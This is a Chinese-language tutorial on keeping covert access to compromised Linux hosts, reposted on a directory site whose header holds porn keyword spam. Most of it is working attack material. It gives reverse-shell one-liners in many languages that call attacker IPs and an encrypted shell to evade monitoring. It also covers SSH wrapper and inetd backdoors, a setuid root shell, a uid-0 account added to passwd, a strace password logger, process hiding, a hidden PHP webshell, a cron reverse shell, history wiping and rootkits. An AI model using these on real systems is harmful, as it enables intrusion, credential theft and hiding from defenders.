日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

0X00 關于權限維持

 

 

黑客大神告訴你:Linux下的權限維持

 

什么是權限維持?

我們可以直接簡單的把權限維持理解為我們在目標上安裝了一個后門,權限維持的目的是保證自己的權限不會掉,一直控制住目標.

0X01 獲得初始權限

linux有很多種反彈shell的方法,反彈shell的好處主要是操作過程中會更加方便,對我個人來說,主要是命令補全,總之,從權限維持的角度來說,可以更好的去執行一些操作.

能否反彈shell,要根據目標的環境來嘗試,有可能bash無法直接反彈,但是Python卻可以成功,還要注意白名單問題.

實驗環境準備直接用Kali,記得做好快照.

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

bash -i 5<>/dev/tcp/host/port 0>&5 1>&5

參考資料: bash反彈shell原理解析 https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

URL-Encoded Perl: Linux

echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat without -e #1

mkfifo函數只是創建一個FIFO文件,要使用命名管道將其打開。

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f

Netcat without -e #2

nc localhost 443 | /bin/sh | nc localhost 444

telnet localhost 443 | /bin/sh | telnet localhost 444

JAVA

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]); p.waitFor();

Xterm

xterm -display 10.0.0.1:1

Exec

0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196

思考:假設滲透過程中,發現目標環境無法反彈shell,最后測試得出只開放了80和443.通過白名單反彈shell時又發現流量被攔截了,如何應對這種情況?

可以嘗試通過加密數據包的方式來逃避流量監控設備.

第一步: 在VPS 上生成 SSL 證書的公鑰/私鑰對:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

第二步: VPS 堅挺反彈 shell:

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

第三步: 連接:

mkfifo /tmp/wing;/bin/bash -i < /tmp/wing 2>&1 |openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/wing

獲得shell

黑客大神告訴你:Linux下的權限維持

 

但這時你會發現,這個shell不太好用,沒有基本的命令補全.

解決方法:

python -c 'import pty; pty.spawn("/bin/bash")'

pty是一個偽終端模塊

pty.spawn(argv[, master_read[, stdin_read]])

產生一個進程,并將其控制終端與當前進程的標準io連接。這通常用于阻擋堅持從控制終端讀取的程序。

函數 master_read 和 stdin_read 應該是從文件描述符讀取的函數。默認值嘗試在每次調用時讀取1024字節。

在 3.4 版更改: spawn() 現在從子進程的 os.waitpid() 返回狀態值

有時候提權以后終端也是會出現類似問題,一般這個方法可以解決.

或者參考后面的鏈接

socat

socat file:`tty`,raw,echo=0 tcp-listen:9999

把socat上傳到目標機器上,然后執行:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999

也可以得到一個交互式shell

知識點來源于

將簡單的shell升級為完全交互式的TTY https://www.4hou.com/technology/6248.html

全程帶阻:記一次授權網絡攻防演練(下) https://www.freebuf.com/vuls/211847.html

0X02 權限維持技術

SSH后門

SSH軟連接

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

建立一個軟連接,然后通過5555端口訪問ssh服務

正常的登陸功能

黑客大神告訴你:Linux下的權限維持

 

添加用戶

useradd wing -p wing

ssh連接時密碼任意輸入,kali測試時,root也可以。

具體原理見Linux的一個后門引發對PAM的探究

SSH WrApper

Exploit:

cd /usr/sbin/

mv sshd ../bin/

echo '#!/usr/bin/perl' >sshd

echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd

echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd

chmod u+x sshd

/etc/init.d/sshd restart

黑客大神告訴你:Linux下的權限維持

 

然后連接:

socat STDIO TCP4:target_ip:22,sourceport=13377

黑客大神告訴你:Linux下的權限維持

 

原理:

init首先啟動的是/usr/sbin/sshd,腳本執行到getpeername這里的時候,正則匹配會失敗,于是執行下一句,啟動/usr/bin/sshd,這是原始sshd。原始的sshd監聽端口建立了tcp連接后,會fork一個子進程處理具體工作。這個子進程,沒有什么檢驗,而是直接執行系統默認的位置的/usr/sbin/sshd,這樣子控制權又回到腳本了。此時子進程標準輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口,如果是19526就執行sh給個shell。 來自https://www.anquanke.com/post/id/155943#h2-9

SSH key的寫入

本地先生成ssh key

ssh-keygen -t rsa

黑客大神告訴你:Linux下的權限維持

 

再把公鑰id_rsa.pub發送到目標上

黑客大神告訴你:Linux下的權限維持

 

同時賦予權限,但是權限不能過大。

chmod 600 ~/.ssh/authorized_keys

chmod 700 ~/.ssh

黑客大神告訴你:Linux下的權限維持

 

SSH keylogger

在當前用戶配置文件末尾添加

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

黑客大神告訴你:Linux下的權限維持

 

Openssh Rookit

需要安裝環境依賴,可用性不是很高,參考利用Openssh后門 劫持root密碼

SSH隱身登錄

隱身登錄 隱身登錄系統,不會被last who w等指令檢測到

ssh -T username@host /bin/bash -i

ssh -o UserKnownHostsFile=/dev/null -T user@host

/bin/bash -if

Linux隱藏技術

簡單的隱藏文件

touch .wing.py

可以找一些目錄隱藏自己的惡意文件

黑客大神告訴你:Linux下的權限維持

 

隱藏權限

chattr命令可以給文件加鎖,防止被刪除,我們也可以將它利用起來

黑客大神告訴你:Linux下的權限維持

 

解說:

黑客大神告訴你:Linux下的權限維持

 

隱藏歷史操作命令

拿到shell以后,開始無痕模式,禁用命令歷史記錄功能。

set +o history

恢復

set -o history

history

可以看到恢復以后可以正常記錄歷史命令

黑客大神告訴你:Linux下的權限維持

 

刪除自己的歷史命令

刪除指定的歷史記錄

sed -i "100,$d" .bash_history

刪除100行以后的操作命令

demo

黑客大神告訴你:Linux下的權限維持

 

端口復用

通過SSLH在同一端口上共享SSH與HTTPS

Linux上在同一端口上共享SSH與HTTPS的工具:SSLH

安裝SSLH

apt install sslh

配置SSLH

編輯 SSLH 配置文件:

sudo vi /etc/default/sslh

1、找到下列行:Run=no 將其修改為:Run=yes

2、修改以下行以允許 SSLH 在所有可用接口上偵聽端口 443

DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

service sslh start

黑客大神告訴你:Linux下的權限維持

 

測試:

黑客大神告訴你:Linux下的權限維持

 

環境是Docker,444對應的是靶機的443 測試成功

iptables

# 端口復用鏈

iptables -t nat -N LETMEIN

# 端口復用規則

iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

# 開啟開關

iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT

# 關閉開關

iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT

# let's do it

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

exploit

TIPS:docker測試的時候

docker run -ti --privileged ubuntu:latest

--privileged這個參數一定要加上

#開啟復用

echo threathuntercoming | socat - tcp:192.168.19.170:80

黑客大神告訴你:Linux下的權限維持

 


黑客大神告訴你:Linux下的權限維持

 

#ssh使用80端口進行登錄

ssh -p 80 root@192.168.19.170:

#關閉復用

echo threathunterleaving | socat - tcp:192.168.19.170:80

另外還有icmp的利用方式 原文在 遠程遙控 IPTables 進行端口復用 https://www.freebuf.com/articles/network/137683.html

隱藏進程

libprocesshider

github上的一個項目,項目地址 https://github.com/gianlucaborello/libprocesshider

利用 LD_PRELOAD 來實現系統函數的劫持,實現如下:

# 下載程序編譯

git clone https://github.com/gianlucaborello/libprocesshider.git

apt-get install gcc automake autoconf libtool make

cd libprocesshider/ && make

# 移動文件到/usr/local/lib/目錄下

cp libprocesshider.so /usr/local/lib/

# 把它加載到全局動態連接局

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload或者export LD_PRELOAD=/usr/local/lib/libprocesshider.so

黑客大神告訴你:Linux下的權限維持

 

運行

黑客大神告訴你:Linux下的權限維持

 

效果

黑客大神告訴你:Linux下的權限維持

 

具體的進程名字,自己可以在c文件里面設置

黑客大神告訴你:Linux下的權限維持

 

克制它的工具

unhide proc

黑客大神告訴你:Linux下的權限維持

 

linux-inject

linux-inject是用于將共享對象注入Linux進程的工具

項目地址: https://github.com/gaffe23/linux-inject.git

# 下載程序編譯

git clone https://github.com/gaffe23/linux-inject.git

cd linux-inject && make

# 測試進程

./sample-target

# 進程注入

./inject -n sample-target sample-library.so

先編譯自己定義的c文件 安裝依賴包

sudo apt-get purge libc6-dev

sudo apt-get install libc6-dev

sudo apt-get install libc6-dev-i386

sudo apt-get install clang

#include <stdio.h>

__attribute__((constructor))void hello() { puts("Hello world!");}

生成so文件

gcc -shared -fPIC -o libwing.so hello.c

先執行測試的文件

黑客大神告訴你:Linux下的權限維持

 

然后注入自定義的so文件

黑客大神告訴你:Linux下的權限維持

 

注入成功。

黑客大神告訴你:Linux下的權限維持

 

Vegile

在linux下執行某個可執行文件之前,系統會預先加載用戶定義的動態鏈接庫的一種技術,這個技術可以重寫系統的庫函數,導致發生Hijack。

Vegile是一個用來隱藏自己的進程的工具,即使進程被殺,又會重新啟動。

先生成一個msf后門

msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=149.129.72.186 LPORT=8000 -f elf -o /var/www/html/Wing_Backdoor2

黑客大神告訴你:Linux下的權限維持

 

msf開啟監聽

黑客大神告訴你:Linux下的權限維持

 

執行

黑客大神告訴你:Linux下的權限維持

 

第一種是進程注入的方式 第二種是進程被殺還可以繼續反彈shell

黑客大神告訴你:Linux下的權限維持

 

由于依賴的原因,第二種有點小bug

黑客大神告訴你:Linux下的權限維持

 

測試成功。

Cymothoa

Cymothoa是一個輕量級的后門,也是使用進程注入的方法。

下載地址: https://sourceforge.net/projects/cymothoa/files/latest/download

編譯好的地址 https://github.com/BlackArch/cymothoa-bin

使用方法

./cymothoa -S

查看可用的shellcode

黑客大神告訴你:Linux下的權限維持

 

只要反彈shell的功能,0即可

查找到bash的pid,因為bash進程一般都是存在的

黑客大神告訴你:Linux下的權限維持

 

./cymothoa -p pid -s 1 -y port

不太可控,我在kali測試會把進程弄死掉,實際環境不建議使用。

黑客大神告訴你:Linux下的權限維持

 


黑客大神告訴你:Linux下的權限維持

 

然后我msf的窗口就卡死了 成功的話nc可以直接連接自定義的端口,跟環境有關系。

Setuid and Setgid

setuid: 設置使文件在執行階段具有文件所有者的權限. 典型的文件是 /usr/bin/passwd. 如果一般用戶執行該文件, 則在執行過程中, 該文件可以獲得root權限, 從而可以更改用戶的密碼.

setgid: 該權限只對目錄有效. 目錄被設置該位后, 任何用戶在此目錄下創建的文件都具有和該目錄所屬的組相同的組.

sticky bit: 該位可以理解為防刪除位. 一個文件是否可以被某用戶刪除, 主要取決于該文件所屬的組是否對該用戶具有寫權限. 如果沒有寫權限, 則這個目錄下的所有文件都不能被刪除, 同時也不能添加新的文件. 如果希望用戶能夠添加文件但同時不能刪除文件, 則可以對文件使用sticky bit位. 設置該位后, 就算用戶對目錄具有寫權限, 也不能刪除該文件.

眾所周知,Linux的文件權限如: 777;666等,其實只要在相應的文件上加上UID的權限,就可以用到加權限人的身份去運行這個文件。所以我們只需要將bash復制出來到另一個地方, 然后用root加上UID權限,只要用戶運行此Shell就可以用用root的身份來執行任何文件了。

寫一個簡單的后門: backdoor.c

黑客大神告訴你:Linux下的權限維持

 

#include <unistd.h>

void main(int argc, char *argv[])

{

setuid(0);

setgid(0);

if(argc > 1)

execl("/bin/sh", "sh", "-c", argv[1], NULL);

else

execl("/bin/sh", "sh", NULL);

}

編譯:

gcc backdoor.c -o backdoor

cp backdoor /bin/

chmod u+s /bin/backdoor

wing權限執行backdoor

inetd后門

inetd是監視一些網絡請求的守護進程,其根據網絡請求來調用相應的服務進程來處理連接請求。 它可以為多種服務管理連接,當inetd 接到連接時,它能夠確定連接所需的程序,啟動相應的進程,并把socket 交給它(服務socket 會作為程序的標準輸入、 輸出和錯誤輸出描述符)。

安裝

apt-get install openbsd-inetd

用系統自帶的服務

黑客大神告訴你:Linux下的權限維持

 

配置后門

# vi /etc/inetd.conf

fido stream tcp nowait root /bin/bash bash -i # 當外部請求名為fido的服務時就彈shell

inetd

黑客大神告訴你:Linux下的權限維持

 

nc連接

黑客大神告訴你:Linux下的權限維持

 

參考:基于 inetd 后門的簡要分析及利用

添加后門賬戶

生成密碼

perl -e 'print crypt("wing", "AA"). "n"'

直接添加到passwd

echo "weblogic1:AAyx65VrBb.fI:0:0:root:/root:/bin/bash">>/etc/passwd

容易被檢測出來,還不如直接ssh key

ICMP后門

項目地址:https://github.com/andreafabrizi/prism 編譯

Android平臺:

apt-get install gcc-arm-linux-gnueabi

arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism

Linux 64bit:

apt-get install libc6-dev-amd64

gcc -DDETACH -m64 -Wall -s -o prism prism.c

Linux 32bit:

apt-get install libc6-dev-i386

gcc -DDETACH -m32 -Wall -s -o prism prism.c

查看信息:

黑客大神告訴你:Linux下的權限維持

 

攻擊機上等待后門連接

nc -l -p 9999

發包觸發后門

黑客大神告訴你:Linux下的權限維持

 


黑客大神告訴你:Linux下的權限維持

 

DNS后門

項目地址:https://github.com/iagox86/dnscat2

即使在最苛刻環境下,目標肯定也會允許DNS去解析外部或者內部的domain。 這就可以作為一個C2通道。command和數據夾雜在DNS查詢和響應頭中,所以檢測起來很困難,因為命令都隱藏在正常的流量里面。

我們使用dnscat2來實現

我mac上安裝有問題,煩得很,環境麻煩,kali了。 算了,還是主機吧,困。。。 server里面要換源,建議直接指定gemfile里面的源是https://gems.ruby-china.com/

我的配置:

# Gemfile

# By Ron Bowes

#

# See LICENSE.md

source 'https://gems.ruby-china.com/'

gem 'trollop' # Commandline parsing

gem 'salsa20' # Encrypted connections

gem 'sha3' # Message signing + key derivation

gem 'ecdsa' # Used for ECDH key exchange

$ gem install bundler

$ bundle install

啟動這玩意。

sudo ruby dnscat2.rb --dns "domain=attck.me,host=192.168.123.192" --no-cache

黑客大神告訴你:Linux下的權限維持

 

 

然后把控制端編譯好,直接make

./dnscat --dns server=192.168.123.192

 

黑客大神告訴你:Linux下的權限維持

 

 

這邊主機運行

session -i 1

 

黑客大神告訴你:Linux下的權限維持

 

 

我來抓包看看怎么通信的。

 

黑客大神告訴你:Linux下的權限維持

 

 

所有命令將通過DNS流量傳輸

我們試下powershell版本的dnscat: https://github.com/lukebaggett/dnscat2-powershell

Start-Dnscat2 -Domain attck.me -DNSServer 192.168.123.192

已經上線了

黑客大神告訴你:Linux下的權限維持

 

然后新開一個交互式shell

 

黑客大神告訴你:Linux下的權限維持

 

 

結論 使用dnscat2有各種優點: 支持多個會話 流量加密 使用密鑰保護MiTM攻擊 直接從內存運行PowerShell腳本

黑客大神告訴你:Linux下的權限維持

 

VIM后門

先構造一個惡意腳本 wing.py

from socket import *

import subprocess

import os, threading, sys, time

if __name__ == "__main__":

server=socket(AF_INET,SOCK_STREAM)

server.bind(('0.0.0.0',666))

server.listen(5)

print 'waiting for connect'

talk, addr = server.accept()

print 'connect from',addr

proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,

stdout=talk, stderr=talk, shell=True)

前提條件就是VIM安裝了python擴展,默認安裝的話都有python擴展.

腳本可以放到python的擴展目錄

$(nohup vim -E -c "py3file wing.py"> /dev/null 2>&1 &) && sleep 2 && rm -f wing.py

在后臺看得到vim的進程,但是看不到python的進程.

黑客大神告訴你:Linux下的權限維持

 

原理參考:https://github.com/jaredestroud/WOTD

PAM后門

PAM (Pluggable AuthenticationModules )是由Sun提出的一種認證機制。

它通過提供一些動態鏈接庫和一套統一的API,將系統提供的服務和該服務的認證方式分開,使得系統管理員可以靈活地根據需要給不同的服務配置不同的認證方式而無需更改服務程序,同時也便于向系統中添加新的認證手段。

項目地址:https://github.com/litsand/shell 這是一個自動化腳本

比較適用于centos,測試環境是ubuntu,暫時不復現.

r后門

echo -e "<?=`$_POST[wing]`?>r<?='Wing ';?>" >/var/www/html/wing.php

加了-e r參數之后直接查看源碼,只顯示后半部分

黑客大神告訴你:Linux下的權限維持

 


黑客大神告訴你:Linux下的權限維持

 

strace后門

strace常用來跟蹤進程執行時的系統調用和所接收的信號。 在Linux世界,進程不能直接訪問硬件設備,當進程需要訪問硬件設備(比如讀取磁盤文件,接收網絡數據等等)時,必須由用戶態模式切換至內核態模式,通 過系統調用訪問硬件設備。strace可以跟蹤到一個進程產生的系統調用,包括參數,返回值,執行消耗的時間。

ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log

-e read,write,connect -s2048 ssh'

這個也類似于alias后門

docker測試的時候加 --privileged參數

同理可以記錄其他命令

su='strace -o /tmp/sulog-`date '+%d%h%m%s'`.log

-e read,write,connect -s2048 su'

Tiny shell

項目地址:https://github.com/orangetw/tsh

在linux下編譯

./compile.sh linux 149.129.72.186 1234 wing 22

參數代表的意思如下

usage:

compile.sh os BC_HOST BC_PORT [PASSword] [BC_DELAY]

compile.sh os 8.8.8.8 8081

compile.sh os 8.8.8.8 8081 mypassword 60

Please specify one of these targets:

compile.sh linux

compile.sh freebsd

compile.sh openbsd

compile.sh netbsd

compile.sh cygwin

compile.sh sunos

compile.sh irix

compile.sh hpux

compile.sh osf

成功以后會生成tsh和tshd文件 分別表示控制端和服務端 在目標上運行

umask 077; HOME=/var/tmp ./tshd

在攻擊機器上運行

tsh targetip

可以得到一個shell. 除此之外,還可以上傳和下載文件.

黑客大神告訴你:Linux下的權限維持

 

反彈的形式

黑客大神告訴你:Linux下的權限維持

 

瀏覽器插件后門

項目地址:https://github.com/graniet/chromebackdoor

我花了很多時間來測試這個項目,目前還沒成功,不知道是不是瀏覽器有限制.

Local Job Scheduling

crontab

測試環境:mac 定時反彈shell

(crontab -l;printf "*/1 * * * * /usr/bin/nc 30.157.170.75 1389 /bin/sh;rno crontab for `whoami`%100cn")|crontab -

黑客大神告訴你:Linux下的權限維持

 


黑客大神告訴你:Linux下的權限維持

 

other backdoor

項目地址:https://github.com/iamckn/backdoors 一些進程隱藏技術,然后反彈shell.

用uname做一個演示

uname.sh

#uname

#-------------------------

touch /usr/local/bin/uname

cat <<EOF >> /usr/local/bin/uname

#!/bin/bash

#nc.traditional -l -v -p 4444 -e /bin/bash 2>/dev/null &

#socat TCP4-Listen:3177,fork EXEC:/bin/bash 2>/dev/null &

socat SCTP-Listen:1177,fork EXEC:/bin/bash 2>/dev/null &

#perl -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}' 2>/dev/null &

/bin/uname $@

EOF

里面的反彈shell命令自己替換

黑客大神告訴你:Linux下的權限維持

 


黑客大神告訴你:Linux下的權限維持

 

0x03 Rookit

Rookit是什么

在懸念迭起的中外諜戰片里,對戰雙方中的一派勢力通常會派遣特工人員潛伏到對手陣營中。這名臥底人員良好的偽裝使得對手對此長時間毫無察覺;為了能夠長期潛伏他不貿然采取高風險行為以免過早暴露自己;他贏得敵人的信任并因此身居要職,這使得他能夠源源不斷地獲取重要情報并利用其獨特渠道傳送回去。

從某種意義上說這位不速之客就是Rootkit——持久并毫無察覺地駐留在目標計算機中,對系統進行操縱、并通過隱秘渠道收集數據的程序。Rootkit的三要素就是:隱藏、操縱、收集數據。

“Rootkit”中root術語來自于unix領域。由于unix主機系統管理員賬號為root賬號,該賬號擁有最小的安全限制,完全控制主機并擁有了管理員權限被稱為“root”了這臺電腦。然而能夠“root”一臺主機并不意味著能持續地控制它,因為管理員完全可能發現了主機遭受入侵并采取清理措施。因此Rootkit的初始含義就在于“能維持root權限的一套工具”。

簡單地說,Rootkit是一種特殊的惡意軟件,它的功能是在安裝目標上隱藏自身及指定的文件、進程和網絡鏈接等信息,比較多見到的是Rootkit一般都和木馬、后門等其他惡意程序結合使用。Rootkit通過加載特殊的驅動,修改系統內核,進而達到隱藏信息的目的。

一個典型rootkit包括:

• 1 以太網嗅探器程序,用于獲得網絡上傳輸的用戶名和密碼等信息。

• 2 特洛伊木馬程序,例如:inetd或者login,為攻擊者提供后門。

• 3 隱藏攻擊者的目錄和進程的程序,例如:ps、netstat、rshd和ls等。

• 4 可能還包括一些日志清理工具,例如:zap、zap2或者z2,攻擊者使用這些清理工具刪除wtmp、utmp和lastlog等日志文件中有關自己行蹤的條目。

• 一些復雜的rootkit還可以向攻擊者提供telnet、shell和finger等服務。

應用級rootkit

應用級rookit的主要特點是通過批量替換系統命令來實現隱藏,如替換ls、ps和netstat等命令來隱藏文件、進程和網絡連接等,有時會有守護進程來保證后門的穩定性。推薦兩款常用的木馬:mafix和brookit。 應用級的比較容易清掉,最麻煩的是內核級和硬件級的.

內核級rookit

通過加載內核模塊的方式來加載后門,比較復雜。一般內核后門都是針對操作系統而言的,不同的操作系統內核模塊設置編寫方法都不一樣,一般不通用。內核后門一般無法通過md5校驗等來判斷,所以基本比較難發現,目前針對內核后門比較多的是Linux和Solaris下。

硬件級后門

這個就是廠商的板子里面就有后門,比如cpu處理器,主板,鼠標,等等.

黑客大神告訴你:Linux下的權限維持

 


黑客大神告訴你:Linux下的權限維持

 

demo:我找的這個是應該是內核rookit的例子,其他經典內核的可以看下這兩個:

https://github.com/David-Reguera-Garcia-Dreg/enyelkm https://github.com/yaoyumeng/adore-ng

Reptile

測試環境:kali

項目地址:https://github.com/f0rb1dd3n/Reptile

安裝:

黑客大神告訴你:Linux下的權限維持

 

emmmm 環境炸了.kali得重裝 使用教程參考如下 https://www.notion.so/redteamwing/Reptile-LKM-Linux-rootkit-153c8daa25244ce69461d1515375e8cc

 

黑客大神告訴你:Linux下的權限維持

 

原文地址:https://xz.aliyun.com/t/7338

分享到:
標簽:Linux
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定